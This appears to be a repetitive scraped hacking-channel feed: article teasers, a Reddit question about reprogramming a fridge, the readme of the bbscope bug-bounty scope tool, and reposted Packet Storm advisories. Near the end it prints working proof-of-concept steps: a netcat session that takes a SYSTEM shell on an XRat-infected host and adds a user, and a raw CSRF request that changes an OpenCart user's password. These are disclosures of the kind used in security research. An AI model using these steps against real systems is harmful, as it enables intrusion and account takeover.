Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
همه چیز درباره رات اندروید برای هک گوشی های اندرویدی
https://cdn-images-1.medium.com/max/600/1*dNd9Tx46q6hEvDozX-ogSw.jpeg
رات اندروید چیست؟ Android Rat چگونه در گوشی های اندرویدی اجرا می شود؟ راه های جلوگیری از وارد شدن برنامه های رات اندرویدی به گوشی چیست؟…
Continue reading on Medium »
همه چیز درباره رات اندروید برای هک گوشی های اندرویدی
https://cdn-images-1.medium.com/max/600/1*dNd9Tx46q6hEvDozX-ogSw.jpeg
رات اندروید چیست؟ Android Rat چگونه در گوشی های اندرویدی اجرا می شود؟ راه های جلوگیری از وارد شدن برنامه های رات اندرویدی به گوشی چیست؟…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Insecure Deserialization
https://cdn-images-1.medium.com/max/600/0*N8pVojFQ0clQgzrn.jpg
A pentester’s guide to insecure deserialization
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Insecure Deserialization
https://cdn-images-1.medium.com/max/600/0*N8pVojFQ0clQgzrn.jpg
A pentester’s guide to insecure deserialization
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Insecure Deserialization
A pentester’s guide to insecure deserialization
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Interdimensional Internet HackTheBox writeup
https://cdn-images-1.medium.com/max/600/1*0YXLpyRsBa49DOcV96Zc5A.png
This CTF is ranked as medium with a user rating of it being a brain-f*ck. I enjoyed this CTF and in hopes of helping/teaching others the…
Continue reading on Medium »
Interdimensional Internet HackTheBox writeup
https://cdn-images-1.medium.com/max/600/1*0YXLpyRsBa49DOcV96Zc5A.png
This CTF is ranked as medium with a user rating of it being a brain-f*ck. I enjoyed this CTF and in hopes of helping/teaching others the…
Continue reading on Medium »
hacking: security in practice
Fridge improvements
How would I go about trying to reprogram my fridge to let me dispense water from the left door (where the water and ice dispenser is) when it is closed and not worry about whether the right door is open or closed? At the current moment, both doors need to be closed for any function of the dispenser to work.
After finding the model number and buying the right connector to interface with it now what? What language are fridges programmed in and how do I go about debugging the code to find the code for the door? Anyone tinkered with their fridge?
submitted by /u/DarkMonkey98
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Fridge improvements
How would I go about trying to reprogram my fridge to let me dispense water from the left door (where the water and ice dispenser is) when it is closed and not worry about whether the right door is open or closed? At the current moment, both doors need to be closed for any function of the dispenser to work.
After finding the model number and buying the right connector to interface with it now what? What language are fridges programmed in and how do I go about debugging the code to find the code for the door? Anyone tinkered with their fridge?
submitted by /u/DarkMonkey98
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Fridge improvements
How would I go about trying to reprogram my fridge to let me dispense water from the left door (where the water and ice dispenser is) when it is...
Bbscope - Scope Gathering Tool For HackerOne, Bugcrowd, And Intigriti!
http://www.kitploit.com/2021/06/bbscope-scope-gathering-tool-for.html
http://www.kitploit.com/2021/06/bbscope-scope-gathering-tool-for.html
The ultimate scope gathering (https://www.kitploit.com/search/label/Gathering) tool for HackerOne, Bugcrowd, and Intigriti (https://www.kitploit.com/search/label/Intigriti) by sw33tLie. Need to grep all the large scope domains that you've got on your bug bounty platforms? This is the right tool for the job.
What about getting a list of android apps that you are allowed to test? We've got you covered as well. Reverse engineering god? No worries, you can get a list of binaries to analyze too :)
Installation
Make sure you've a recent version of the Go compiler installed on your system. Then just run: GO111MODULE=on go get -u github.com/sw33tLie/bbscope
Usage
">bbscope (h1|bc|it) -t
How to get the session token: HackerOne: login, then grab the __Host-session cookie Bugcrowd: login, then grab the _crowdcontrol_session cookie Intigriti: login, then intercept (https://www.kitploit.com/search/label/Intercept) a request to api.intigriti.com and look for the Authentication: Bearer XXX header. XXX is your token Remember that you can use the --help flag to get a description for all flags.
Examples
Below you'll find some example commands. Keep in mind that all of them work with Bugcrowd and Intigriti subcommands (bc and it) as well, not just with h1.
Print all in-scope targets from all your HackerOne programs that offer rewards
-b -o t ">bbscope h1 -t -b -o t
The output will look like this: app.example.com
*.user.example.com
*.demo.com
www.something.com
Print all in-scope targets from all your private HackerOne programs that offer rewards
-b -p -o t ">bbscope h1 -t -b -p -o t
Print all in-scope Android APKs from all your HackerOne programs
-o t -c android ">bbscope h1 -t -o t -c android
Print all in-scope targets from all your HackerOne programs with extra data
-o tdu -d ", " '>bbscope h1 -t -o tdu -d ", "
This will print a list of in-scope targets from all your HackerOne programs (including public ones and VDPs) but, on the same line, it will also print the target description (when available) and the program's URL. It might look like this: something.com, Something's main website, https://hackerone.com/something
*.demo.com, All assets owned by Demo are in scope, https://hackerone.com/demo
Get program URLs for your HackerOne private programs
-o u -p | sort -u ">bbscope h1 -t -o u -p | sort -u
You'll get a list like this: https://hackerone.com/demo
https://hackerone.com/something
Beware of scope oddities
In an ideal world, all programs use the in-scope table in the same way to clearly show what's in scope, and make parsing easy. Unfortunately, that's not always the case. Sometimes assets are assigned the wrong category. For example, if you're going after URLs using the -c url, double checking using -c all is often a good idea. Other times, on HackerOne, you will find targets written in the scope description, instead of in the scope title. A few programs that do this are: Verizon Media (https://hackerone.com/verizonmedia/?type=team) Mail.ru (https://hackerone.com/mailru) If you want to grep those URLs as well, you MUST include d in the printing options flag (-o). Sometimes it gets even stranger: Spotify (https://hackerone.com/spotify) uses titles of the in-scope table to list wildcards, but then lists the actually in-scope subdomains (https://www.kitploit.com/search/label/Subdomains) in the targets description. Human minds are weird and this tool does not attempt to parse nonsense, you'll have to do that manually (or bother people that can make this change, maybe?).
Thanks
0xatul (https://github.com/0xatul) JoeMilian (https://github.com/JoeMilian) ByteOven (https://github.com/ByteOven) dee-see (https://gitlab.com/dee-see) jub0bs (https://jub0bs.com/)
Download Bbscope (https://github.com/sw33tLie/bbscope)
What about getting a list of android apps that you are allowed to test? We've got you covered as well. Reverse engineering god? No worries, you can get a list of binaries to analyze too :)
Installation
Make sure you've a recent version of the Go compiler installed on your system. Then just run: GO111MODULE=on go get -u github.com/sw33tLie/bbscope
Usage
">bbscope (h1|bc|it) -t
How to get the session token: HackerOne: login, then grab the __Host-session cookie Bugcrowd: login, then grab the _crowdcontrol_session cookie Intigriti: login, then intercept (https://www.kitploit.com/search/label/Intercept) a request to api.intigriti.com and look for the Authentication: Bearer XXX header. XXX is your token Remember that you can use the --help flag to get a description for all flags.
Examples
Below you'll find some example commands. Keep in mind that all of them work with Bugcrowd and Intigriti subcommands (bc and it) as well, not just with h1.
Print all in-scope targets from all your HackerOne programs that offer rewards
-b -o t ">bbscope h1 -t -b -o t
The output will look like this: app.example.com
*.user.example.com
*.demo.com
www.something.com
Print all in-scope targets from all your private HackerOne programs that offer rewards
-b -p -o t ">bbscope h1 -t -b -p -o t
Print all in-scope Android APKs from all your HackerOne programs
-o t -c android ">bbscope h1 -t -o t -c android
Print all in-scope targets from all your HackerOne programs with extra data
-o tdu -d ", " '>bbscope h1 -t -o tdu -d ", "
This will print a list of in-scope targets from all your HackerOne programs (including public ones and VDPs) but, on the same line, it will also print the target description (when available) and the program's URL. It might look like this: something.com, Something's main website, https://hackerone.com/something
*.demo.com, All assets owned by Demo are in scope, https://hackerone.com/demo
Get program URLs for your HackerOne private programs
-o u -p | sort -u ">bbscope h1 -t -o u -p | sort -u
You'll get a list like this: https://hackerone.com/demo
https://hackerone.com/something
Beware of scope oddities
In an ideal world, all programs use the in-scope table in the same way to clearly show what's in scope, and make parsing easy. Unfortunately, that's not always the case. Sometimes assets are assigned the wrong category. For example, if you're going after URLs using the -c url, double checking using -c all is often a good idea. Other times, on HackerOne, you will find targets written in the scope description, instead of in the scope title. A few programs that do this are: Verizon Media (https://hackerone.com/verizonmedia/?type=team) Mail.ru (https://hackerone.com/mailru) If you want to grep those URLs as well, you MUST include d in the printing options flag (-o). Sometimes it gets even stranger: Spotify (https://hackerone.com/spotify) uses titles of the in-scope table to list wildcards, but then lists the actually in-scope subdomains (https://www.kitploit.com/search/label/Subdomains) in the targets description. Human minds are weird and this tool does not attempt to parse nonsense, you'll have to do that manually (or bother people that can make this change, maybe?).
Thanks
0xatul (https://github.com/0xatul) JoeMilian (https://github.com/JoeMilian) ByteOven (https://github.com/ByteOven) dee-see (https://gitlab.com/dee-see) jub0bs (https://jub0bs.com/)
Download Bbscope (https://github.com/sw33tLie/bbscope)
Bbscope - Scope Gathering Tool For HackerOne, Bugcrowd, And Intigriti!
The ultimate scope gathering tool for HackerOne, Bugcrowd, and Intigriti by sw33tLie. Need to grep all the large scope domains that you've got on your bug bounty platforms? This is the right tool for the job. What about getting a list of android apps that you are allowed to test? We've got you covered as well. Reverse engineering god? No worries, you can get a list of binaries to analyze too :) Installation Make sure you've a recent version of the Go compiler installed on your system. Then just run: GO111MODULE=on go get -u github.com/sw33tLie/bbscope Usage bbscope (h1|bc|it) -t <session-token> <other-flags> How to get the session token: HackerOne: login, then grab the _Host-session cookie Bugcrowd: login, then grab the _crowdcontrol_session cookie Intigriti: login, then intercept a request to api.intigriti.com and look for the Authentication: Bearer XXX header. XXX is your token Remember that you can use the --help flag to get a description for all flags. Examples Below you'll find some example commands. Keep in mind that all of them work with Bugcrowd and Intigriti subcommands (bc and it) as well, not just with h1. Print all in-scope targets from all your HackerOne programs that offer rewards bbscope h1 -t <YOUR_TOKEN> -b -o t The output will look like this: app.example.com*.user.example.com*.demo.comwww.something.com Print all in-scope targets from all your private HackerOne programs that offer rewards bbscope h1 -t <YOUR_TOKEN> -b -p -o t Print all in-scope Android APKs from all your HackerOne programs bbscope h1 -t <YOUR_TOKEN> -o t -c android Print all in-scope targets from all your HackerOne programs with extra data bbscope h1 -t <YOUR_TOKEN> -o tdu -d ", " This will print a list of in-scope targets from all your HackerOne programs (including public ones and VDPs) but, on the same line, it will also print the target description (when available) and the program's URL. It might look like this: something.com, Something's main website, https://hackerone.com/something*.demo.com, All assets owned by Demo are in scope, https://hackerone.com/demo Get program URLs for your HackerOne private programs bbscope h1 -t <YOUR_TOKEN> -o u -p | sort -u You'll get a list like this: https://hackerone.com/demohttps://hackerone.com/something Beware of scope oddities In an ideal world, all programs use the in-scope table in the same way to clearly show what's in scope, and make parsing easy. Unfortunately, that's not always the case. Sometimes assets are assigned the wrong category. For example, if you're going after URLs using the -c url, double checking using -c all is often a good idea. Other times, on HackerOne, you will find targets written in the scope description, instead of in the scope title. A few programs that do this are: Verizon Media Mail.ru If you want to grep those URLs as well, you MUST include d in the printing options flag (-o). Sometimes it gets even stranger: Spotify uses titles of the in-scope table to list wildcards, but then lists the actually in-scope subdomains in the targets description. Human minds are weird and this tool does not attempt to parse nonsense, you'll have to do that manually (or bother people that can make this change, maybe?). Thanks 0xatul JoeMilian ByteOven dee-see jub0bs Download Bbscope
Read more...
The ultimate scope gathering tool for HackerOne, Bugcrowd, and Intigriti by sw33tLie. Need to grep all the large scope domains that you've got on your bug bounty platforms? This is the right tool for the job. What about getting a list of android apps that you are allowed to test? We've got you covered as well. Reverse engineering god? No worries, you can get a list of binaries to analyze too :) Installation Make sure you've a recent version of the Go compiler installed on your system. Then just run: GO111MODULE=on go get -u github.com/sw33tLie/bbscope Usage bbscope (h1|bc|it) -t <session-token> <other-flags> How to get the session token: HackerOne: login, then grab the _Host-session cookie Bugcrowd: login, then grab the _crowdcontrol_session cookie Intigriti: login, then intercept a request to api.intigriti.com and look for the Authentication: Bearer XXX header. XXX is your token Remember that you can use the --help flag to get a description for all flags. Examples Below you'll find some example commands. Keep in mind that all of them work with Bugcrowd and Intigriti subcommands (bc and it) as well, not just with h1. Print all in-scope targets from all your HackerOne programs that offer rewards bbscope h1 -t <YOUR_TOKEN> -b -o t The output will look like this: app.example.com*.user.example.com*.demo.comwww.something.com Print all in-scope targets from all your private HackerOne programs that offer rewards bbscope h1 -t <YOUR_TOKEN> -b -p -o t Print all in-scope Android APKs from all your HackerOne programs bbscope h1 -t <YOUR_TOKEN> -o t -c android Print all in-scope targets from all your HackerOne programs with extra data bbscope h1 -t <YOUR_TOKEN> -o tdu -d ", " This will print a list of in-scope targets from all your HackerOne programs (including public ones and VDPs) but, on the same line, it will also print the target description (when available) and the program's URL. It might look like this: something.com, Something's main website, https://hackerone.com/something*.demo.com, All assets owned by Demo are in scope, https://hackerone.com/demo Get program URLs for your HackerOne private programs bbscope h1 -t <YOUR_TOKEN> -o u -p | sort -u You'll get a list like this: https://hackerone.com/demohttps://hackerone.com/something Beware of scope oddities In an ideal world, all programs use the in-scope table in the same way to clearly show what's in scope, and make parsing easy. Unfortunately, that's not always the case. Sometimes assets are assigned the wrong category. For example, if you're going after URLs using the -c url, double checking using -c all is often a good idea. Other times, on HackerOne, you will find targets written in the scope description, instead of in the scope title. A few programs that do this are: Verizon Media Mail.ru If you want to grep those URLs as well, you MUST include d in the printing options flag (-o). Sometimes it gets even stranger: Spotify uses titles of the in-scope table to list wildcards, but then lists the actually in-scope subdomains in the targets description. Human minds are weird and this tool does not attempt to parse nonsense, you'll have to do that manually (or bother people that can make this change, maybe?). Thanks 0xatul JoeMilian ByteOven dee-see jub0bs Download Bbscope
Read more...
GitHub
GitHub - sw33tLie/bbscope: Scope aggregation tool for HackerOne, Bugcrowd, Intigriti, YesWeHack, and Immunefi!
Scope aggregation tool for HackerOne, Bugcrowd, Intigriti, YesWeHack, and Immunefi! - sw33tLie/bbscope
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.XRat.d Code Execution
https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Backdoor.Win32.XRat.d malware suffers from a code execution vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Backdoor.Win32.XRat.d Code Execution
https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Backdoor.Win32.XRat.d malware suffers from a code execution vulnerability.
MD5 |
ad2b83a2b4643cd5bab9e2b00a386821Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dc77b126b205b0f671e505766c607ef1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.XRat.d
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware runs with SYSTEM integrity and listens on TCP port 20888. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.
Type: PE32
MD5: dc77b126b205b0f671e505766c607ef1
Vuln ID: MVID-2021-0242
Dropped files: svhost.exe
Disclosure: 06/08/2021
Exploit/PoC:
nc64.exe 192.168.18.127 20888
"X-Rat System Console" v2.0
Status Ready, Client: 192.168.18.130:43857
[DESKTOP-2C4IRJO@C:\WINDOWS\system32]#DOS
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
C:\WINDOWS\system32>net user hyp3rlinx "" /add
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Intelbras Router RF 301K Cross Site Request Forgery
https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Intelbras Router RF 301K with firmware versions 1.1.2 through 1.1.5 suffer from a cross site request forgery vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Intelbras Router RF 301K Cross Site Request Forgery
https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Intelbras Router RF 301K with firmware versions 1.1.2 through 1.1.5 suffer from a cross site request forgery vulnerability.
MD5 |
51d204bdd79bd9734467954542910a7bDownload
# Exploit Title: Intelbras Router RF 301K - 'DNS Hijacking' Cross-Site Request Forgery (CSRF)
# Date: 01/05/2021
# Exploit Author: Rodolfo Mariano
# Version: Firmware 1.1.2-1.1.5
# CVE: 2021-32403
# Exploit Code:
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Intelbras Router RF 301K Cross Site Request Forgery
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
OpenCart 3.0.3.7 Cross Site Request Forgery
https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
OpenCart version 3.0.3.7 suffers from a cross site request forgery vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
OpenCart 3.0.3.7 Cross Site Request Forgery
https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
OpenCart version 3.0.3.7 suffers from a cross site request forgery vulnerability.
MD5 |
fd3a9e23a636fb12126c970b6b728bdcDownload
# Exploit Title : OpenCart 3.0.3.7 - 'Change Password' Cross-Site Request Forgery (CSRF)
# Date : 2021/08/06
# Exploit Author : Mert Daş merterpreter@gmail.com
# Software Link : http://www.opencart.com/index.php?route=download/download
: https://github.com/opencart
# Software web : www.opencart.com
# Tested on: Server : Xampp
# Cross-site request forgery
OpenCart is an open source shoping cart system , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url.
OpenCart is not using any security token to prevent it against CSRF.
It is vulnerable to all location inside User panel.
Header
----------------------------------------------------------
http://localhost/index.php?route=account/password
POST /opencart/index.php?route=account/password HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3890527419799841332130342675
Content-Length: 300
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/opencart/index.php?route=account/password
Cookie: language=en-gb; currency=EUR; OCSESSID=b21a152616460d44029878c9a0
Upgrade-Insecure-Requests: 1
-----------------------------3890527419799841332130342675
Content-Disposition: form-data; name="password"
123asd!
-----------------------------3890527419799841332130342675
Content-Disposition: form-data; name="confirm"
123asd!
-----------------------------3890527419799841332130342675--
Response
HTTP/1.1 302 Found
Date: Tue, 08 Jun 2021 16:52:59 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Set-Cookie: OCSESSID=b21a152616460d44029878c9a0; path=/
Location: http://127.0.0.1/opencart/index.php?route=account/account
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
----------------------------------------------------------
Simple Poc to change user Password
Source:packetstormsecurity.com